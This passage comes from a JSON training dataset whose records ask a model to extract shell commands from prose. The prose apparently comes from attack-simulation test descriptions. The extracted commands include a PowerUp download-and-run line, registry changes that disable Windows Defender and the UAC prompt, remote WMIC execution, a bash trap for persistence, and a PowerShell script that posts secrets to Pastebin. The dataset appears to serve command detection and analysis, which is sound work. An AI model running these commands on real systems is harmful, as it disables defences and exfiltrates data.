are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can perform a remote file copy via sftp with this command: sftp #{username}@#{remote_host}:#{remote_path} <<< $'put #{local_file}'\n",
    "output": "{\"command_list\": [\"sftp #{username}@#{remote_host}:#{remote_path} <<< $'put #{local_file}'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can disable Windows Defender permanently by executing this command: Set-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\" -Name DisableAntiSpyware -Value 1, which will render the protection settings inaccessible after a system reboot.",
    "output": "{\"command_list\": [\"Set-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender\\\" -Name DisableAntiSpyware -Value 1\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To execute a process on a remote host via WMIC, use the following command, making sure to specify a valid node parameter for the remote IP: wmic /user:#{user_name} /password:#{password} /node:\"#{node}\" process call create #{process_to_execute}\n",
    "output": "{\"command_list\": [\"wmic /user:#{user_name} /password:#{password} /node:\\\"#{node}\\\" process call create #{process_to_execute}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For setting up a TRAP on SIGINT in bash that executes a script and then triggers the signal, run this command: bash -c 'trap \"nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh\" SIGINT && kill -SIGINT $$'",
    "output": "{\"command_list\": [\"bash -c 'trap \\\"nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh\\\" SIGINT && kill -SIGINT $$'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test performs data exfiltration to Pastebin with the command:\n$apiKey = \"#{api_key}\"\n$content = \"secrets, api keys, passwords...\"\n$url = \"https://pastebin.com/api/api_post.php\"\n$postData = @{\n  api_dev_key   = $apiKey\n  api_option    = \"paste\"\n  api_paste_code = $content\n}\n$response = Invoke-RestMethod -Uri $url -Method Post -Body $postData\nWrite-Host \"Your paste URL: $response\"\n",
    "output": "{\"command_list\": [\"$apiKey = \\\"#{api_key}\\\"\\n$content = \\\"secrets, api keys, passwords...\\\"\\n$url = \\\"https://pastebin.com/api/api_post.php\\\"\\n$postData = @{\\n  api_dev_key   = $apiKey\\n  api_option    = \\\"paste\\\"\\n  api_paste_code = $content\\n}\\n$response = Invoke-RestMethod -Uri $url -Method Post -Body $postData\\nWrite-Host \\\"Your paste URL: $response\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    A window stating 'installation failed' will appear when you execute this command with rundll32.exe and setupapi.dll: rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 \"#{inf_to_execute}\"",
    "output": "{\"command_list\": [\"rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 \\\"#{inf_to_execute}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Admin UAC can be disabled by changing the ConsentPromptBehaviorAdmin registry value to 0, which is done with the command: $orgValue =(Get-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name ConsentPromptBehaviorAdmin).ConsentPromptBehaviorAdmin\nSet-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name ConsentPromptBehaviorAdmin -Value 0 -Type Dword -Force",
    "output": "{\"command_list\": [\"$orgValue =(Get-ItemProperty HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System -Name ConsentPromptBehaviorAdmin).ConsentPromptBehaviorAdmin\\nSet-ItemProperty HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System -Name ConsentPromptBehaviorAdmin -Value 0 -Type Dword -Force\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
